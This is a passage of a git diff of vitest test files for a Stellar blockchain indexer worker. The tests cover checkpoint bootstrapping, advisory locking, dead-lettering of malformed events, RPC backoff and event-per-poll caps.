+ stop = startIndexer(handleEvent); + setTimeout(() => { + void finish(); + }, 150); + }); +} + +function runWorkerBriefly( + startIndexer: (h: EventHandler) => () => Promise, + handleEvent: EventHandler = async () => {}, +): Promise { + return new Promise((resolve) => { + const stop = startIndexer(handleEvent); + setTimeout(async () => { + await stop(); + resolve(); + }, 100); + }); +} + +describe('worker bootstrap (no existing checkpoint)', () => { + it('saves INDEXER_START_LEDGER as the initial checkpoint when set', async () => { + process.env.INDEXER_START_LEDGER = '1000'; + vi.mocked(checkpoint.getCheckpointState).mockResolvedValue(undefined); + // latestLedger <= START_LEDGER so subsequent polls hit the "nothing new" + // guard and return without calling saveCheckpoint again. + vi.mocked(rpc.getLatestLedgerSequence).mockResolvedValue(1000); + + const { startIndexer } = await freshWorker(); + await runWorkerUntilFirstSave(startIndexer); + + expect(checkpoint.saveCheckpoint).toHaveBeenCalledWith(1000); + // Must not fall back to the RPC latest ledger as the starting point. + expect(checkpoint.saveCheckpoint).toHaveBeenCalledTimes(1); + }); + + it('falls back to the latest ledger and processes no historical events when INDEXER_START_LEDGER is not set', async () => { + vi.mocked(checkpoint.getCheckpointState).mockResolvedValue(undefined); + vi.mocked(rpc.getLatestLedgerSequence).mockResolvedValue(5000); + const handleEvent = vi.fn().mockResolvedValue(undefined); + + const { startIndexer } = await freshWorker(); + await runWorkerUntilFirstSave(startIndexer, handleEvent); + + expect(checkpoint.getCheckpointState).toHaveBeenCalled(); + expect(rpc.getLatestLedgerSequence).toHaveBeenCalled(); + expect(checkpoint.saveCheckpoint).toHaveBeenCalledWith(5000); + expect(rpc.rpcServer.getEvents).not.toHaveBeenCalled(); + expect(handleEvent).not.toHaveBeenCalled(); + }); + + it('ignores INDEXER_START_LEDGER when a checkpoint already exists', async () => { + process.env.INDEXER_START_LEDGER = '1000'; + vi.mocked(checkpoint.getCheckpointState).mockResolvedValue({ lastLedger: 8000 }); + vi.mocked(rpc.getLatestLedgerSequence).mockResolvedValue(9999); + + const { startIndexer } = await freshWorker(); + await runWorkerBriefly(startIndexer); + + // Resumed from existing checkpoint — the env var must be ignored + expect(checkpoint.saveCheckpoint).not.toHaveBeenCalledWith(1000); + }); + + it('advances the checkpoint when the latest ledger has no events', async () => { + vi.mocked(checkpoint.getCheckpointState).mockResolvedValue({ lastLedger: 100 }); + vi.mocked(rpc.getLatestLedgerSequence).mockResolvedValue(125); + vi.mocked(rpc.rpcServer.getEvents).mockResolvedValue({ events: [] }); + + const { startIndexer } = await freshWorker(); + await runWorkerBriefly(startIndexer); + + expect(checkpoint.saveCheckpoint).toHaveBeenCalledWith(125); + }); + + it('allows only one of two workers to process events while the advisory lock is held', async () => { + vi.mocked(checkpoint.getCheckpoint).mockResolvedValue(100); + vi.mocked(rpc.getLatestLedgerSequence).mockResolvedValue(101); + let lockAttempts = 0; + vi.mocked(indexerLock.tryAcquireIndexerLock).mockImplementation(async () => { + lockAttempts += 1; + return lockAttempts === 1 + ? { isHeld: () => true, release: async () => {} } + : undefined; + }); + const event = { id: '101-0', ledger: 101 }; + vi.mocked(rpc.rpcServer.getEvents) + .mockResolvedValueOnce({ events: [event] } as never) + .mockResolvedValue({ events: [] }); + const handleEvent = vi.fn().mockResolvedValue(undefined); + const { startIndexer } = await freshWorker(); + const stopFirst = startIndexer(handleEvent); + const stopSecond = startIndexer(handleEvent); + + await new Promise((resolve) => setTimeout(resolve, 100)); + await Promise.all([stopFirst(), stopSecond()]); + + expect(lockAttempts).toBeGreaterThan(1); + expect(handleEvent).toHaveBeenCalledTimes(1); + }); +}); diff --git a/test/indexer/worker.test.ts b/test/indexer/worker.test.ts index 4c6c274..b88dc61 100644 --- a/test/indexer/worker.test.ts +++ b/test/indexer/worker.test.ts @@ -1,604 +1,604 @@ -import { xdr } from '@stellar/stellar-sdk'; -import { afterAll, afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; - -import { prisma } from '../../src/db.js'; -import { getCheckpoint, saveCheckpoint } from '../../src/indexer/checkpoint.js'; -import { rebuildEventFromDeadLetter } from '../../src/indexer/deadLetter.js'; -import type { ContractEvent } from '../../src/indexer/worker.js'; -import { fakeAddress, resetDb } from '../helpers/db.js'; -import { addressScVal, i128ScVal, makeEvent, symbolScVal, u64ScVal } from '../helpers/events.js'; - -const mocks = vi.hoisted(() => { - const contractId = 'CTESTCONTRACTID'; - - // contracts.ts reads this at module load, and `pollOnce` no-ops when no - // contract id is configured — vi.hoisted() runs before this file's imports, - // which is the only point early enough to set it. The value matches the - // contract id makeEvent() stamps on its fixtures, so dispatchEvent routes - // them to the donation-vault handler. - process.env.DONATION_VAULT_CONTRACT_ID = contractId; - - return { - contractId, - getEvents: vi.fn(), - getLatestLedgerSequence: vi.fn(), - getCheckpointState: vi.fn(), - saveCheckpoint: vi.fn(), - // Memoised here, in a closure the module registry reset below does not - // touch, so every re-import shares one PrismaClient (and one connection - // pool) instead of opening a fresh one per case. - db: undefined as { prisma: typeof prisma } | undefined, - }; -}); - -vi.mock('../../src/db.js', async () => { - mocks.db ??= { ...(await vi.importActual<{ prisma: typeof prisma }>('../../src/db.js')) }; - return mocks.db; -}); - -vi.mock('../../src/stellar/rpc.js', () => ({ - rpcServer: { getEvents: mocks.getEvents }, - getLatestLedgerSequence: mocks.getLatestLedgerSequence, -})); - -vi.mock('../../src/indexer/checkpoint.js', async () => { - const actual = await vi.importActual( - '../../src/indexer/checkpoint.js', - ); - - // Default both to the real implementation, so the pollOnce cases above keep - // writing the actual row and reading it back out of the database. Only the - // backoff cases override these, and only because they care about the delay - // schedule rather than the stored value. - mocks.getCheckpointState.mockImplementation(actual.getCheckpointState); - mocks.saveCheckpoint.mockImplementation(actual.saveCheckpoint); - - return { - ...actual, - getCheckpointState: mocks.getCheckpointState, - saveCheckpoint: mocks.saveCheckpoint, - }; -}); - -/** - * `pollOnce` caches its checkpoint in a module-level variable for the life of - * the process. Re-importing the worker gives each case an indexer that reads - * the checkpoint back from the database, so the cases stay independent of - * each other and of the order they run in. - */ -async function freshIndexer() { - vi.resetModules(); - const [{ pollOnce, backoffDelayMs, startIndexer }, { dispatchEvent }] = await Promise.all([ - import('../../src/indexer/worker.js'), - import('../../src/indexer/dispatch.js'), - ]); - return { pollOnce, dispatchEvent, backoffDelayMs, startIndexer }; -} - -/** - * A `created` event whose payload is a bare i128 instead of the - * `[donor, ngo, token, deposit, rate]` vector the handler destructures. This - * is exactly the shape mismatch the handler's unchecked `as [...]` cast - * cannot survive: destructuring a bigint throws, and without per-event - * isolation that throw escapes `pollOnce` before it can save a checkpoint. - */ -function malformedCreatedEvent(ledger: number) { - return makeEvent([symbolScVal('created'), u64ScVal(99n)], i128ScVal(1000n), { - id: `poison-${ledger}`, - ledger, - }); -} - -function wellFormedCreatedEvent(ledger: number, onChainId: bigint) { - return makeEvent( - [symbolScVal('created'), u64ScVal(onChainId)], - xdr.ScVal.scvVec([ - addressScVal(fakeAddress('A')), - addressScVal(fakeAddress('B')), - addressScVal(fakeAddress('C')), - i128ScVal(1000n), - i128ScVal(10n), - ]), - { id: `good-${ledger}`, ledger }, - ); -} - -describe('pollOnce', () => { - beforeEach(() => { - mocks.getEvents.mockReset(); - mocks.getLatestLedgerSequence.mockReset(); - // The dead-letter path logs through console.error and the email - // notification stub through console.log; neither is under test here. - vi.spyOn(console, 'error').mockImplementation(() => {}); - vi.spyOn(console, 'log').mockImplementation(() => {}); - }); - - afterEach(async () => { - vi.restoreAllMocks(); - await resetDb(); - }); - - afterAll(() => { - delete process.env.DONATION_VAULT_CONTRACT_ID; - }); - - it('advances past a malformed event instead of retrying it forever', async () => { - const { pollOnce, dispatchEvent } = await freshIndexer(); - - await saveCheckpoint(100); - mocks.getLatestLedgerSequence.mockResolvedValue(110); - - // Both events arrive in one batch with the undecodable one first, so a - // handler failure that propagated would take the good event down with it. - mocks.getEvents.mockResolvedValueOnce({ - events: [malformedCreatedEvent(101), wellFormedCreatedEvent(102, 7n)], - latestLedger: 110, - }); - - await pollOnce(dispatchEvent); - - // The checkpoint moved past the poison event and on through the good one. - expect(await getCheckpoint()).toBe(102); - - // The event behind it was indexed rather than blocked. - const stream = await prisma.stream.findUnique({ where: { onChainId: 7n } }); - expect(stream?.balance).toBe('1000'); - - // The failure is recorded rather than silently dropped. - const deadLetter = await prisma.indexerDeadLetter.findUnique({ - where: { eventId: 'poison-101' }, - }); - expect(deadLetter?.ledger).toBe(101); - expect(deadLetter?.contractId).toBe(mocks.contractId); - expect(deadLetter?.error).not.toBe(''); - - // And the next poll starts after it, so it is never seen again — the - // wedge this whole change exists to prevent. - mocks.getEvents.mockResolvedValueOnce({ events: [], latestLedger: 110 }); - await pollOnce(dispatchEvent); - - expect(mocks.getEvents).toHaveBeenLastCalledWith( - expect.objectContaining({ cursor: 'good-102' }), - ); - expect(await getCheckpoint()).toBe(110); - }); - - it('records one dead letter per failing event and keeps going', async () => { - const { pollOnce, dispatchEvent } = await freshIndexer(); - - await saveCheckpoint(200); - mocks.getLatestLedgerSequence.mockResolvedValue(220); - mocks.getEvents.mockResolvedValueOnce({ - events: [ - malformedCreatedEvent(201), - malformedCreatedEvent(202), - wellFormedCreatedEvent(203, 8n), - ], - latestLedger: 220, - }); - - await pollOnce(dispatchEvent); - - expect(await getCheckpoint()).toBe(203); - expect(await prisma.indexerDeadLetter.count()).toBe(2); - expect(await prisma.stream.findUnique({ where: { onChainId: 8n } })).not.toBeNull(); - }); - - it('writes no dead letters when every event handles cleanly', async () => { - const { pollOnce, dispatchEvent } = await freshIndexer(); - - await saveCheckpoint(300); - mocks.getLatestLedgerSequence.mockResolvedValue(320); - mocks.getEvents.mockResolvedValueOnce({ - events: [wellFormedCreatedEvent(301, 9n)], - latestLedger: 320, - }); - - await pollOnce(dispatchEvent); - - expect(await getCheckpoint()).toBe(301); - expect(await prisma.indexerDeadLetter.count()).toBe(0); - expect(await prisma.stream.findUnique({ where: { onChainId: 9n } })).not.toBeNull(); - }); - - it('checkpoints the last event after handling a multi-event batch', async () => { - const { pollOnce } = await freshIndexer(); - const handleEvent = vi.fn(async () => {}); - - await saveCheckpoint(400); - mocks.getLatestLedgerSequence.mockResolvedValue(420); - mocks.getEvents.mockResolvedValueOnce({ - events: [ - wellFormedCreatedEvent(401, 11n), - wellFormedCreatedEvent(402, 12n), - wellFormedCreatedEvent(403, 13n), - ], - latestLedger: 420, - }); - - await pollOnce(handleEvent); - - expect(handleEvent).toHaveBeenCalledTimes(3); - expect(await getCheckpoint()).toBe(403); - }); - - it('keeps the checkpoint at the last successful event if failure recording fails', async () => { - const { pollOnce } = await freshIndexer(); - const handleEvent = vi.fn(async (event: ContractEvent) => { - if (event.ledger === 502) throw new TypeError('invalid payload: shape mismatch'); - }); - - await saveCheckpoint(500); - mocks.getLatestLedgerSequence.mockResolvedValue(520); - mocks.getEvents.mockResolvedValueOnce({ - events: [ - wellFormedCreatedEvent(501, 14n), - wellFormedCreatedEvent(502, 15n), - wellFormedCreatedEvent(503, 16n), - ], - latestLedger: 520, - }); - vi.spyOn(prisma.indexerDeadLetter, 'upsert').mockRejectedValueOnce( - new Error('dead-letter store unavailable'), - ); - - await expect(pollOnce(handleEvent)).rejects.toThrow('dead-letter store unavailable'); - - expect(handleEvent).toHaveBeenCalledTimes(2); - expect(await getCheckpoint()).toBe(501); - }); - - it('stores failing events with enough raw data (topic/value XDR, txHash) to rebuild and tracks attempts', async () => { - const { pollOnce, dispatchEvent } = await freshIndexer(); - - await saveCheckpoint(600); - mocks.getLatestLedgerSequence.mockResolvedValue(620); - - const malformed = malformedCreatedEvent(601); - mocks.getEvents.mockResolvedValueOnce({ - events: [malformed], - latestLedger: 620, - }); - - await pollOnce(dispatchEvent); - - const deadLetter = await prisma.indexerDeadLetter.findUnique({ - where: { eventId: malformed.id }, - }); - expect(deadLetter).not.toBeNull(); - expect(deadLetter?.ledger).toBe(601); - expect(deadLetter?.contractId).toBe(mocks.contractId); - expect(deadLetter?.txHash).toBe(malformed.txHash); - expect(deadLetter?.attempts).toBe(1); - expect(deadLetter?.topic.length).toBeGreaterThan(0); - expect(deadLetter?.value).not.toBeNull(); - - // Rebuild the event from stored XDR payload - const rebuilt = rebuildEventFromDeadLetter(deadLetter!); - expect(rebuilt.id).toBe(malformed.id); - expect(rebuilt.ledger).toBe(malformed.ledger); - expect(rebuilt.contractId).toBe(malformed.contractId); - expect(rebuilt.txHash).toBe(malformed.txHash); - expect(rebuilt.topic).toHaveLength(malformed.topic.length); - for (let i = 0; i < malformed.topic.length; i++) { - expect(rebuilt.topic[i].toXDR('base64')).toBe(malformed.topic[i].toXDR('base64')); - } - expect(rebuilt.value?.toXDR('base64')).toBe(malformed.value.toXDR('base64')); - - // If recorded again, attempts increments - mocks.getEvents.mockResolvedValueOnce({ - events: [malformed], - latestLedger: 620, - }); - await pollOnce(dispatchEvent); - - const updatedDeadLetter = await prisma.indexerDeadLetter.findUnique({ - where: { eventId: malformed.id }, - }); - expect(updatedDeadLetter?.attempts).toBe(2); - }); - - it('retries transient handler errors without dead-lettering, advancing checkpoint only after success', async () => { - const { pollOnce } = await freshIndexer(); - - await saveCheckpoint(700); - mocks.getLatestLedgerSequence.mockResolvedValue(720); - - const event = wellFormedCreatedEvent(701, 77n); - let attempts = 0; - const handleEvent = vi.fn(async () => { - attempts++; - if (attempts === 1) { - throw new Error('transient database connection timeout'); - } - }); - - // First attempt: handler fails with a transient error - mocks.getEvents.mockResolvedValueOnce({ - events: [event], - latestLedger: 720, - }); - - await expect(pollOnce(handleEvent)).rejects.toThrow('transient database connection timeout'); - - // Checkpoint must NOT advance on transient failure - expect(await getCheckpoint()).toBe(700); - // Transient failure must NOT be dead-lettered - expect(await prisma.indexerDeadLetter.count()).toBe(0); - - // Second attempt: retry succeeds - mocks.getEvents.mockResolvedValueOnce({ - events: [event], - latestLedger: 720, - }); - - await expect(pollOnce(handleEvent)).resolves.not.toThrow(); - - // Checkpoint advances only after successful retry - expect(await getCheckpoint()).toBe(701); - expect(await prisma.indexerDeadLetter.count()).toBe(0); - }); -}); - -describe('backoff on RPC failures (#115)', () => { - beforeEach(() => { - // The pollOnce block's afterAll deletes this, and these cases run after - // it. contracts.ts reads it at module load, and freshIndexer() calls - // vi.resetModules(), so it has to be back in place before that re-import - // or WATCHED_CONTRACT_IDS comes back empty and pollOnce() no-ops without - // ever reaching the RPC. - process.env.DONATION_VAULT_CONTRACT_ID = mocks.contractId; - // clearAllMocks() in the outer hook clears call history but leaves - // implementations in place, so a mockRejectedValue from one test would - // otherwise leak into the next one. Each test below sets its own. - vi.mocked(mocks.getLatestLedgerSequence).mockReset(); - // These cases assert the delay schedule, not what lands in the database, - // and the checkpoint write on a successful poll would otherwise need a live - // Postgres. Stub both; the pollOnce cases above keep the real pair. - mocks.getCheckpointState.mockResolvedValue({ lastLedger: 100 }); - mocks.saveCheckpoint.mockResolvedValue(undefined); - // Every test here drives the failure path, which logs on purpose. - vi.spyOn(console, 'error').mockImplementation(() => {}); - }); - - it('does not overlap polls when an RPC request takes longer than the interval', async () => { - process.env.INDEXER_POLL_INTERVAL_MS = '10'; - mocks.getCheckpointState.mockResolvedValue({ lastLedger: 100 }); - mocks.saveCheckpoint.mockResolvedValue(undefined); - let latestLedger = 100; - mocks.getLatestLedgerSequence.mockImplementation(async () => ++latestLedger); - - let activePolls = 0; - let maxConcurrentPolls = 0; - mocks.getEvents.mockImplementation(async () => { - activePolls += 1; - maxConcurrentPolls = Math.max(maxConcurrentPolls, activePolls); - await new Promise((resolve) => setTimeout(resolve, 50)); - activePolls -= 1; - return { events: [], latestLedger: 101 }; - }); - - const { startIndexer } = await freshIndexer(); - vi.useFakeTimers(); - - const stop = startIndexer(async () => {}); - await vi.advanceTimersByTimeAsync(175); - await stop(); - - expect(maxConcurrentPolls).toBe(1); - expect(mocks.getEvents).toHaveBeenCalledTimes(3); - }); - - afterEach(() => { - vi.useRealTimers(); - vi.restoreAllMocks(); - }); - - it('grows the delay with each consecutive failure, up to a cap', async () => { - process.env.INDEXER_POLL_INTERVAL_MS = '1000'; - - const { backoffDelayMs } = await freshIndexer(); - - expect(backoffDelayMs(0)).toBe(1000); - // One failure is not an outage: retry once at the normal interval rather - // than making a single blip look like one. - expect(backoffDelayMs(1)).toBe(1000); - // Then it doubles per failure. - expect(backoffDelayMs(2)).toBe(2000); - expect(backoffDelayMs(3)).toBe(4000); - expect(backoffDelayMs(4)).toBe(8000); - expect(backoffDelayMs(5)).toBe(16000); - - // Capped, so a long outage still re-checks the endpoint periodically - // instead of drifting to a delay that looks like a hung indexer. - expect(backoffDelayMs(30)).toBe(5 * 60_000); - expect(backoffDelayMs(31)).toBe(backoffDelayMs(30)); - // And strictly below the uncapped value it replaces. - expect(backoffDelayMs(30)).toBeLessThan(1000 * 2 ** 29); - }); - - it('waits longer before each retry while the RPC keeps failing', async () => { - process.env.INDEXER_POLL_INTERVAL_MS = '1000'; - mocks.getCheckpointState.mockResolvedValue({ lastLedger: 100 }); - vi.mocked(mocks.getLatestLedgerSequence).mockRejectedValue(new Error('RPC unreachable')); - - const { startIndexer } = await freshIndexer(); - vi.useFakeTimers(); - - const stop = startIndexer(async () => {}); - - // Poll 1 runs immediately, fails, and schedules its retry 1s out. - await vi.advanceTimersByTimeAsync(0); - expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(1); - - // Still nothing at 999ms — the first retry really is a full interval away. - await vi.advanceTimersByTimeAsync(999); - expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(1); - await vi.advanceTimersByTimeAsync(1); - expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(2); - - // Poll 2 failed too, so the next wait doubles to 2s. One more second is - // not enough to trigger it. - await vi.advanceTimersByTimeAsync(1999); - expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(2); - await vi.advanceTimersByTimeAsync(1); - expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(3); - - // And again to 4s: nothing at 3.9s, poll 4 at 4s. - await vi.advanceTimersByTimeAsync(3900); - expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(3); - await vi.advanceTimersByTimeAsync(100); - expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(4); - - await stop(); - }); - - it('resets the delay to the poll interval after a successful poll', async () => { - process.env.INDEXER_POLL_INTERVAL_MS = '1000'; - mocks.getCheckpointState.mockResolvedValue({ lastLedger: 100 }); - vi.mocked(mocks.getLatestLedgerSequence) - .mockRejectedValueOnce(new Error('RPC unreachable')) - .mockRejectedValueOnce(new Error('RPC unreachable')) - .mockResolvedValue(500); - // Only this case has a poll that succeeds, so this is the only one that - // reaches the event fetch. pollOnce() destructures the result, so it has - // to be a real shape — an empty list still counts as a scanned window, so - // the poll completes and the counter resets rather than throwing. - mocks.getEvents.mockResolvedValue({ events: [], latestLedger: 500 }); - - const { startIndexer } = await freshIndexer(); - vi.useFakeTimers(); - - const stop = startIndexer(async () => {}); - - // Two failures, so the counter is at 2 and the next delay would be 4s... - await vi.advanceTimersByTimeAsync(0); // poll 1 fails, retry in 1s - await vi.advanceTimersByTimeAsync(1000); // poll 2 fails, retry in 2s - expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(2); - - // ...but poll 3 gets a response, which clears the counter and drops the - // next delay straight back to the poll interval. - await vi.advanceTimersByTimeAsync(2000); - expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(3); - - await vi.advanceTimersByTimeAsync(1000); - expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(4); - - await stop(); - }); -}); - -describe('events-per-poll cap', () => { - beforeEach(() => { - process.env.DONATION_VAULT_CONTRACT_ID = mocks.contractId; - mocks.getEvents.mockReset(); - mocks.getLatestLedgerSequence.mockReset(); - }); - - afterEach(() => { - delete process.env.INDEXER_MAX_EVENTS_PER_POLL; - }); - - it('resumes after the last event in a capped page, including after restart', async () => { - process.env.INDEXER_MAX_EVENTS_PER_POLL = '2'; - let checkpoint = { lastLedger: 100, lastEventId: undefined as string | undefined }; - mocks.getCheckpointState.mockImplementation(async () => checkpoint); - mocks.saveCheckpoint.mockImplementation(async (lastLedger: number, lastEventId?: string) => { - checkpoint = { lastLedger, lastEventId }; - }); - mocks.getLatestLedgerSequence.mockResolvedValue(101); - - const events = [ - makeEvent([], i128ScVal(1n), { id: 'event-1', ledger: 101 }), - makeEvent([], i128ScVal(2n), { id: 'event-2', ledger: 101 }), - makeEvent([], i128ScVal(3n), { id: 'event-3', ledger: 101 }), - ]; - mocks.getEvents.mockImplementation(async (request) => ({ - events: 'cursor' in request ? events.slice(2) : events.slice(0, 2), - })); - - const handled = vi.fn(async () => {}); - const { pollOnce } = await freshIndexer(); - await pollOnce(handled); - - expect(mocks.getEvents).toHaveBeenNthCalledWith( - 1, - expect.objectContaining({ startLedger: 101, limit: 2 }), - ); - expect(checkpoint).toEqual({ lastLedger: 101, lastEventId: 'event-2' }); - - const restarted = await freshIndexer(); - await restarted.pollOnce(handled); - - expect(mocks.getEvents).toHaveBeenNthCalledWith( - 2, - expect.objectContaining({ cursor: 'event-2', limit: 2 }), - ); - expect(handled.mock.calls).toHaveLength(3); - expect(checkpoint).toEqual({ lastLedger: 101, lastEventId: 'event-3' }); - }); - - it('rejects a non-positive cap', async () => { - process.env.INDEXER_MAX_EVENTS_PER_POLL = '0'; - await expect(freshIndexer()).rejects.toThrow( - 'INDEXER_MAX_EVENTS_PER_POLL must be a positive integer', - ); - }); -}); - -describe('startIndexer stop behavior', () => { - afterEach(() => { - vi.useRealTimers(); - vi.restoreAllMocks(); - delete process.env.DONATION_VAULT_CONTRACT_ID; - delete process.env.INDEXER_POLL_INTERVAL_MS; - }); - - it('stops polling after the stop function is called', async () => { - process.env.DONATION_VAULT_CONTRACT_ID = mocks.contractId; - process.env.INDEXER_POLL_INTERVAL_MS = '5000'; - vi.useFakeTimers(); - - mocks.getCheckpointState.mockResolvedValue({ lastLedger: 100 }); - mocks.getLatestLedgerSequence.mockResolvedValue(100); - mocks.getEvents.mockResolvedValue({ events: [], latestLedger: 100 }); - - const { startIndexer } = await freshIndexer(); - const stop = startIndexer(async () => {}); - - await vi.advanceTimersByTimeAsync(0); - const callsBeforeStop = mocks.getLatestLedgerSequence.mock.calls.length; - await stop(); - await vi.advanceTimersByTimeAsync(10_000); - - expect(mocks.getLatestLedgerSequence.mock.calls.length).toBe(callsBeforeStop); - }); - - it('recovers when the checkpoint is outside the RPC retention window', async () => { - process.env.DONATION_VAULT_CONTRACT_ID = mocks.contractId; - vi.spyOn(console, 'warn').mockImplementation(() => {}); - - mocks.getCheckpointState.mockResolvedValue({ - lastLedger: 500, - lastEventId: undefined, - }); - mocks.getLatestLedgerSequence.mockResolvedValue(10000); - mocks.getEvents.mockRejectedValueOnce({ - message: 'startLedger must be within the ledger range [9000, 10000]', - }); - mocks.saveCheckpoint.mockResolvedValue(undefined); - - const { pollOnce } = await freshIndexer(); - const handler = vi.fn(); - - await pollOnce(handler); - - expect(console.warn).toHaveBeenCalledWith( - expect.stringContaining('checkpoint 500 has aged out'), - ); - expect(mocks.saveCheckpoint).toHaveBeenCalledWith(10000); - expect(handler).not.toHaveBeenCalled(); - - vi.mocked(console.warn).mockRestore(); - }); -}); +import { xdr } from '@stellar/stellar-sdk'; +import { afterAll, afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +import { prisma } from '../../src/db.js'; +import { getCheckpoint, saveCheckpoint } from '../../src/indexer/checkpoint.js'; +import { rebuildEventFromDeadLetter } from '../../src/indexer/deadLetter.js'; +import type { ContractEvent } from '../../src/indexer/worker.js'; +import { fakeAddress, resetDb } from '../helpers/db.js'; +import { addressScVal, i128ScVal, makeEvent, symbolScVal, u64ScVal } from '../helpers/events.js'; + +const mocks = vi.hoisted(() => { + const contractId = 'CTESTCONTRACTID'; + + // contracts.ts reads this at module load, and `pollOnce` no-ops when no + // contract id is configured — vi.hoisted() runs before this file's imports, + // which is the only point early enough to set it. The value matches the + // contract id makeEvent() stamps on its fixtures, so dispatchEvent routes + // them to the donation-vault handler. + process.env.DONATION_VAULT_CONTRACT_ID = contractId; + + return { + contractId, + getEvents: vi.fn(), + getLatestLedgerSequence: vi.fn(), + getCheckpointState: vi.fn(), + saveCheckpoint: vi.fn(), + // Memoised here, in a closure the module registry reset below does not + // touch, so every re-import shares one PrismaClient (and one connection + // pool) instead of opening a fresh one per case. + db: undefined as { prisma: typeof prisma } | undefined, + }; +}); + +vi.mock('../../src/db.js', async () => { + mocks.db ??= { ...(await vi.importActual<{ prisma: typeof prisma }>('../../src/db.js')) }; + return mocks.db; +}); + +vi.mock('../../src/stellar/rpc.js', () => ({ + rpcServer: { getEvents: mocks.getEvents }, + getLatestLedgerSequence: mocks.getLatestLedgerSequence, +})); + +vi.mock('../../src/indexer/checkpoint.js', async () => { + const actual = await vi.importActual( + '../../src/indexer/checkpoint.js', + ); + + // Default both to the real implementation, so the pollOnce cases above keep + // writing the actual row and reading it back out of the database. Only the + // backoff cases override these, and only because they care about the delay + // schedule rather than the stored value. + mocks.getCheckpointState.mockImplementation(actual.getCheckpointState); + mocks.saveCheckpoint.mockImplementation(actual.saveCheckpoint); + + return { + ...actual, + getCheckpointState: mocks.getCheckpointState, + saveCheckpoint: mocks.saveCheckpoint, + }; +}); + +/** + * `pollOnce` caches its checkpoint in a module-level variable for the life of + * the process. Re-importing the worker gives each case an indexer that reads + * the checkpoint back from the database, so the cases stay independent of + * each other and of the order they run in. + */ +async function freshIndexer() { + vi.resetModules(); + const [{ pollOnce, backoffDelayMs, startIndexer }, { dispatchEvent }] = await Promise.all([ + import('../../src/indexer/worker.js'), + import('../../src/indexer/dispatch.js'), + ]); + return { pollOnce, dispatchEvent, backoffDelayMs, startIndexer }; +} + +/** + * A `created` event whose payload is a bare i128 instead of the + * `[donor, ngo, token, deposit, rate]` vector the handler destructures. This + * is exactly the shape mismatch the handler's unchecked `as [...]` cast + * cannot survive: destructuring a bigint throws, and without per-event + * isolation that throw escapes `pollOnce` before it can save a checkpoint. + */ +function malformedCreatedEvent(ledger: number) { + return makeEvent([symbolScVal('created'), u64ScVal(99n)], i128ScVal(1000n), { + id: `poison-${ledger}`, + ledger, + }); +} + +function wellFormedCreatedEvent(ledger: number, onChainId: bigint) { + return makeEvent( + [symbolScVal('created'), u64ScVal(onChainId)], + xdr.ScVal.scvVec([ + addressScVal(fakeAddress('A')), + addressScVal(fakeAddress('B')), + addressScVal(fakeAddress('C')), + i128ScVal(1000n), + i128ScVal(10n), + ]), + { id: `good-${ledger}`, ledger }, + ); +} + +describe('pollOnce', () => { + beforeEach(() => { + mocks.getEvents.mockReset(); + mocks.getLatestLedgerSequence.mockReset(); + // The dead-letter path logs through console.error and the email + // notification stub through console.log; neither is under test here. + vi.spyOn(console, 'error').mockImplementation(() => {}); + vi.spyOn(console, 'log').mockImplementation(() => {}); + }); + + afterEach(async () => { + vi.restoreAllMocks(); + await resetDb(); + }); + + afterAll(() => { + delete process.env.DONATION_VAULT_CONTRACT_ID; + }); + + it('advances past a malformed event instead of retrying it forever', async () => { + const { pollOnce, dispatchEvent } = await freshIndexer(); + + await saveCheckpoint(100); + mocks.getLatestLedgerSequence.mockResolvedValue(110); + + // Both events arrive in one batch with the undecodable one first, so a + // handler failure that propagated would take the good event down with it. + mocks.getEvents.mockResolvedValueOnce({ + events: [malformedCreatedEvent(101), wellFormedCreatedEvent(102, 7n)], + latestLedger: 110, + }); + + await pollOnce(dispatchEvent); + + // The checkpoint moved past the poison event and on through the good one. + expect(await getCheckpoint()).toBe(102); + + // The event behind it was indexed rather than blocked. + const stream = await prisma.stream.findUnique({ where: { onChainId: 7n } }); + expect(stream?.balance).toBe('1000'); + + // The failure is recorded rather than silently dropped. + const deadLetter = await prisma.indexerDeadLetter.findUnique({ + where: { eventId: 'poison-101' }, + }); + expect(deadLetter?.ledger).toBe(101); + expect(deadLetter?.contractId).toBe(mocks.contractId); + expect(deadLetter?.error).not.toBe(''); + + // And the next poll starts after it, so it is never seen again — the + // wedge this whole change exists to prevent. + mocks.getEvents.mockResolvedValueOnce({ events: [], latestLedger: 110 }); + await pollOnce(dispatchEvent); + + expect(mocks.getEvents).toHaveBeenLastCalledWith( + expect.objectContaining({ cursor: 'good-102' }), + ); + expect(await getCheckpoint()).toBe(110); + }); + + it('records one dead letter per failing event and keeps going', async () => { + const { pollOnce, dispatchEvent } = await freshIndexer(); + + await saveCheckpoint(200); + mocks.getLatestLedgerSequence.mockResolvedValue(220); + mocks.getEvents.mockResolvedValueOnce({ + events: [ + malformedCreatedEvent(201), + malformedCreatedEvent(202), + wellFormedCreatedEvent(203, 8n), + ], + latestLedger: 220, + }); + + await pollOnce(dispatchEvent); + + expect(await getCheckpoint()).toBe(203); + expect(await prisma.indexerDeadLetter.count()).toBe(2); + expect(await prisma.stream.findUnique({ where: { onChainId: 8n } })).not.toBeNull(); + }); + + it('writes no dead letters when every event handles cleanly', async () => { + const { pollOnce, dispatchEvent } = await freshIndexer(); + + await saveCheckpoint(300); + mocks.getLatestLedgerSequence.mockResolvedValue(320); + mocks.getEvents.mockResolvedValueOnce({ + events: [wellFormedCreatedEvent(301, 9n)], + latestLedger: 320, + }); + + await pollOnce(dispatchEvent); + + expect(await getCheckpoint()).toBe(301); + expect(await prisma.indexerDeadLetter.count()).toBe(0); + expect(await prisma.stream.findUnique({ where: { onChainId: 9n } })).not.toBeNull(); + }); + + it('checkpoints the last event after handling a multi-event batch', async () => { + const { pollOnce } = await freshIndexer(); + const handleEvent = vi.fn(async () => {}); + + await saveCheckpoint(400); + mocks.getLatestLedgerSequence.mockResolvedValue(420); + mocks.getEvents.mockResolvedValueOnce({ + events: [ + 